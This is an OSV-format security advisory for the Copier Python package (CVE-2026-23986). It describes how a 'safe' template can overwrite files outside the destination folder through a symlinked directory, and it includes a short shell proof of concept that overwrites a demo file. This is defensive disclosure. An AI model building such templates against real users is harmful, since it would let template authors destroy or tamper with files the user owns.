{"id":"PYSEC-2026-1272","summary":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ","details":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n\u003e [!NOTE]\n\u003e\n\u003e At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" \u003e sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" \u003e \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" \u003e copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -\u003e ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","aliases":["CVE-2026-23986","GHSA-4fqp-r85r-hxqh"],"modified":"2026-07-07T17:47:12.903149376Z","published":"2026-07-07T16:03:19.651307Z","references":[{"type":"WEB","url":"https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23986"},{"type":"WEB","url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"},{"type":"WEB","url":"https://github.com/copier-org/copier/releases/tag/v9.11.2"},{"type":"PACKAGE","url":"https://pypi.org/project/copier"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4fqp-r85r-hxqh"}],"affected":[{"package":{"name":"copier","ecosystem":"PyPI","purl":"pkg:pypi/copier"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.11.2"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.2.1","2.2.2","2.2.3","2.3","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","3.0.0a3","3.0.0a5","3.0.0a6","3.0.0a7","3.0.0a8","3.0.0b1","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.2.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","6.0.0","6.0.0a0","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0a7","6.0.0a9","6.0.0b0","6.1.0","6.2.0","7.0.1","7.1.0","7.1.0a0","7.2.0","8.0.0","8.1.0","8.2.0","8.3.0","9.0.1","9.1.0","9.1.1","9.10.0","9.10.1","9.10.2","9.10.3","9.11.0","9.11.1","9.2.0","9.3.0","9.3.1","9.4.0","9.4.1","9.5.0","9.6.0","9.7.0","9.7.1","9.8.0","9.9.0","9.9.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/copier/PYSEC-2026-1272.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}]}